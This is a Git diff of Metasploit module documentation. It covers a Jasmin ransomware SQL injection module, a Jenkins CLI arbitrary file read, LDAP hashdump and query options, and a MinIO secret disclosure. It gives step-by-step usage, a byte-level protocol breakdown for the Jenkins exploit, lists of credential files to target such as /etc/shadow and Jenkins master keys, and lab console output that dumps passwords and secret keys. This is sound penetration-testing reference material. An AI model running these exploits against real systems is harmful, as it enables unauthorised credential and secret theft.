||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/jasmin_ransomware_sqli`
|
||||
1. Do: `set rhosts [IP]`
|
||||
1. Do: `run`
|
||||
1. You should contents from the SQL Database.
|
||||
|
||||
## Options
|
||||
|
||||
### VICTIMS
|
||||
|
||||
Pull data from the Victim's table. Defaults to `false`
|
||||
|
||||
### VICTIMLIMIT
|
||||
|
||||
Number of rows from the victim table to pull. Defaults to `nil` which pulls all rows.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Jasmin installed on Ubuntu 22.04
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/jasmin_ransomware_sqli
|
||||
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set victims true
|
||||
victims => true
|
||||
msf6 auxiliary(gather/jasmin_ransomware_sqli) > run
|
||||
|
||||
[*] Dumping login table
|
||||
[*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(admin,''),ifnull(creds,'')) as binary)) from master)
|
||||
[*] {SQLi} Time-based injection: expecting output of length 15
|
||||
[+] Dumped table contents:
|
||||
Logins
|
||||
======
|
||||
|
||||
admin creds
|
||||
----- -----
|
||||
siddhant 123456
|
||||
|
||||
[*] Dumping victim table
|
||||
[*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(machine_name,''),ifnull(computer_user,''),ifnull(ip,''),ifnull(systemid,''),ifnull(password,'')) as binary)) from victims)
|
||||
[*] {SQLi} Time-based injection: expecting output of length 428
|
||||
[+] Dumped table contents:
|
||||
Victims
|
||||
=======
|
||||
|
||||
machine_name computer_user ip systemid password
|
||||
------------ ------------- -- -------- --------
|
||||
Bollywood Salman Khan 47.247.223.177 df545f454f5d4f5d4af5 M9M99EvNpZVOWpy9Q8sZLHEP
|
||||
DESKTOP-37Q74QH cyberstair 47.247.223.177 96457DF79A87C7C0008A7BE7 xAS4NinH/HQKNJwsNtTWN5yD
|
||||
FiFa Leone Messi 47.247.223.177 cfhsfkdjkfvdd454s5g4 JDNAaz6e3oyM8cN+AGFdMl/5
|
||||
Indian Cricket Virat Kohli 47.247.223.177 SDGFs4F4S4FD4F4545fs 3tIHrYJqqTSBpw4lgMMck1GD
|
||||
White House Donald Trump 47.247.223.177 fgighefesdgvrd5g45rd4h RJtCd9QqiCfBaSU0zQf84dvd
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module utilizes the Jenkins cli protocol to run the `help` command.
|
||||
The cli is accessible with read-only permissions by default, which are
|
||||
all thats required.
|
||||
|
||||
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
|
||||
replace any `@<filename>` with the contents of a file. We are then able to retrieve
|
||||
the error message to read up to the first two lines of a file.
|
||||
|
||||
Exploitation by hand can be done with the cli, see markdown documents for additional
|
||||
instructions.
|
||||
|
||||
There are a few exploitation oddities:
|
||||
1. The injection point for the `help` command requires 2 input arguments.
|
||||
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
|
||||
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
|
||||
However, we can pad out the content by supplying a first argument.
|
||||
2. There is a strange timing requirement where the `download` (or first) request must get
|
||||
to the server first, but the `upload` (or second) request must be very close behind it.
|
||||
From testing against the docker image, it was found values between `.01` and `1.9` were
|
||||
viable. Due to the round trip time of the first request and response happening before
|
||||
request 2 would be received, it is necessary to use threading to ensure the requests
|
||||
happen within rapid succession.
|
||||
|
||||
Files of value:
|
||||
|
||||
* /var/jenkins_home/secret.key
|
||||
* /var/jenkins_home/secrets/master.key
|
||||
* /var/jenkins_home/secrets/initialAdminPassword
|
||||
* /etc/passwd
|
||||
* /etc/shadow
|
||||
* Project secrets and credentials
|
||||
* Source code, build artifacts
|
||||
|
||||
Vulnerable versions include:
|
||||
|
||||
* < 2.442
|
||||
* LTS < 2.426.3
|
||||
|
||||
### Protocol Breakdown
|
||||
|
||||
A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
|
||||
|
||||
| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
|
||||
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
|
||||
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
|
||||
### Docker Setup
|
||||
|
||||
Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
|
||||
|
||||
LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
|
||||
1. Do: `set rhost [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get the first two lines of the `FILE_PATH`
|
||||
|
||||
## Options
|
||||
|
||||
### FILE_PATH
|
||||
|
||||
File path to read from the server. Defaults to `/etc/passwd`.
|
||||
|
||||
Other files which may be of value:
|
||||
* `/var/jenkins_home/secret.key`
|
||||
* `/var/jenkins_home/secrets/master.key`
|
||||
* `/var/jenkins_home/secrets/initialAdminPassword`
|
||||
* `/etc/passwd`
|
||||
* `/etc/shadow`
|
||||
* Project secrets and credentials
|
||||
* Source code, build artifacts
|
||||
|
||||
### DELAY
|
||||
|
||||
Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
|
||||
Defaults to `0.5`
|
||||
|
||||
Testing against the docker image showed values between `.01` and `1.9` were successful.
|
||||
|
||||
### ENCODING
|
||||
|
||||
Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
|
||||
|
||||
### LOCALITY
|
||||
|
||||
Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### jenkins 2.440-jdk17 on Docker
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
|
||||
file_path => /var/jenkins_home/secrets/initialAdminPassword
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
|
||||
[*] Re-attempting with padding for single line output file
|
||||
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
|
||||
f5d5f6e98e1f466aad22c0f81ca48fb0
|
||||
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### jenkins 2.426.2-lts on Docker
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
|
||||
file_path => /var/jenkins_home/secret.key
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
|
||||
[*] Re-attempting with padding for single line output file
|
||||
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
|
||||
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
|
||||
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -28,20 +28,25 @@ msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 1389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it]
|
||||
DOMAIN no The domain to authenticate to
|
||||
MAX_LOOT no Maximum number of LDAP entries to loot
|
||||
PASSWORD no The password to authenticate with
|
||||
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
|
||||
serpassword, password, pwdhistory, passwordhistory, c
|
||||
learpassword
|
||||
READ_TIMEOUT 600 no LDAP read timeout in seconds
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 1389 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME no The username to authenticate with
|
||||
USER_ATTR dn no LDAP attribute(s), that contains username
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
@@ -214,23 +214,33 @@ QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
PASSWORD thePassword123 no The password to authenticate with
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USERNAME normal@daforest.com no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
When ACTION is RUN_QUERY_FILE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml no Path to the JSON or YAML file to load and run queries from
|
||||
|
||||
|
||||
When ACTION is RUN_SINGLE_QUERY:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_ATTRIBUTES no Comma separated list of attributes to retrieve from the server
|
||||
QUERY_FILTER no Filter to send to the target LDAP server to perform the query
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with
|
||||
RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns
|
||||
all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,
|
||||
resulting in information disclosure.
|
||||
|
||||
### Docker Image
|
||||
|
||||
1. Download docker yml: https://raw.githubusercontent.com/vulhub/vulhub/master/minio/CVE-2023-28432/docker-compose.yml
|
||||
1. Execute `docker-compose up` inside the same directory containing the docker-compose.yml
|
||||
1. Then MinIO's login page should be available at http://127.0.0.1:9001/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/minio_bootstrap_verify_info_disc.rb`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. You should get MinIO Environmental Variables
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MinIO 2023-02-27T18:10:45Z from docker image
|
||||
|
||||
```
|
||||
resource (msf)> set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
resource (msf)> set rport 9000
|
||||
rport => 9000
|
||||
msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] MINIO_ACCESS_KEY_FILE: access_key
|
||||
[+] MINIO_CONFIG_ENV_FILE: config.env
|
||||
[+] MINIO_KMS_SECRET_KEY_FILE: kms_master_key
|
||||
[+] MINIO_ROOT_PASSWORD: minioadmin-vulhub
|
||||
[+] MINIO_ROOT_PASSWORD_FILE: secret_key
|
||||
[+] MINIO_ROOT_USER: minioadmin
|
||||
[+] MINIO_ROOT_USER_FILE: access_key
|
||||
[+] MINIO_SECRET_KEY_FILE: secret_key
|
||||
[+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user